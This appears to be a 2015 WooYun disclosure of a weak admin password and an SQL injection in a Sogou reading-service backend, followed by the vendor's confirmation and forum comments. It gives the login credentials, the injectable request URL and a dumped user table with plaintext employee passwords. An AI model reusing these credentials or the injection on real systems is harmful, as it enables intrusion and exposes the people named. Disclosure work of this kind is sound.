当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0115601

漏洞标题：搜狗阅读某后台多处高危漏洞导致渠道运营数据及部分员工账号密码泄露

相关厂商：搜狗

漏洞作者： 杀器王子

提交时间：2015-05-22 18:59

修复时间：2015-07-09 12:48

公开时间：2015-07-09 12:48

漏洞类型：后台弱口令

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-22： 细节已通知厂商并且等待厂商处理中
2015-05-25： 厂商已经确认，细节仅向厂商公开
2015-06-04： 细节向核心白帽子及相关领域专家公开
2015-06-14： 细节向普通白帽子公开
2015-06-24： 细节向实习白帽子公开
2015-07-09： 细节向公众公开

简要描述：

杀器在手

详细说明：

http://union.novel.sogou.com/
弱口令test 123456
进入后台以后有一个sql注入点，参数ctype：

http://union.novel.sogou.com/stat/ajax?oper=grid_sum&d_start=20150421&d_end=20150521&ctype=30&is_settle=&query=&f_cols=&f_cids=&_search=false&nd=1432289822749&rows=20&page=1'&sidx=&sord=asc


漏洞证明：

sougou1.png


Database: app_novel
Table: app_user
[20 entries]
+------------+---------------+--------+------+--------------+----------------------+---------+--------------+----------+-----------+---------------------------+------------+---------------------+---------------------+---------------------+
| uid        | pass          | nick   | role | p_corp       | p_mail               | desc    | p_phone      | is_sogou | p_contact | p_address                 | sogou_role | update_time         | create_time         | last_login_time     |
+------------+---------------+--------+------+--------------+----------------------+---------+--------------+----------+-----------+---------------------------+------------+---------------------+---------------------+---------------------+
| liuzx      | 1q2w3e        | Liuzx  | 1    | corp         | email@sogou-inc.com  | <blank> | phone        | 0        | contact   | <blank>                   | role       | NULL                | 2014-11-21 15:43:36 | NULL                |
| wangxun    | 123456        | 王勋     | 1    | corp         | <blank>              | <blank> | <b

修复方案：

弱口令

版权声明：转载请注明来源 杀器王子@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-05-25 12:47

厂商回复：

感谢支持！欢迎到SGSRC提交漏洞！

最新状态：

暂无

漏洞评价：

评论

  1. 2015-05-22 19:02 | 孔卡 ( 实习白帽子 | Rank:42 漏洞数:12 | 我已经过了那个餐桌上只有一条鸡腿就一定能...)

    这次我能坐前排么，后面的交保护费！

  2. 2015-05-22 19:02 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    牛逼

  3. 2015-05-22 19:04 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    叼

  4. 2015-05-22 19:12 | Mr.R ( 实习白帽子 | Rank:52 漏洞数:14 | 求大神带我飞 qq2584110147)

    坐一回前排

  5. 2015-05-22 19:15 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了，跪着也要...)

    漂亮

  6. 2015-05-22 20:48 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    屌屌的

  7. 2015-05-22 20:54 | 这只猪 ( 路人 | Rank:5 漏洞数:2 | 南无阿弥陀佛！)

    朕已阅！

  8. 2015-05-22 23:19 | 君宝 ( 路人 | Rank:19 漏洞数:4 | 不要跟我比浪。。你浪不过我。。)

    马克

  9. 2015-05-25 13:28 | Vinc ( 普通白帽子 | Rank:120 漏洞数:22 | :))

    @君宝 浪不过你

  10. 2015-05-25 17:21 | 君宝 ( 路人 | Rank:19 漏洞数:4 | 不要跟我比浪。。你浪不过我。。)

    @Vinc 哈哈哈 老板你好！今年端午节能多给我几天假期吗？

  11. 2015-05-25 17:38 | Vinc ( 普通白帽子 | Rank:120 漏洞数:22 | :))

    @君宝 可以 扣3倍薪资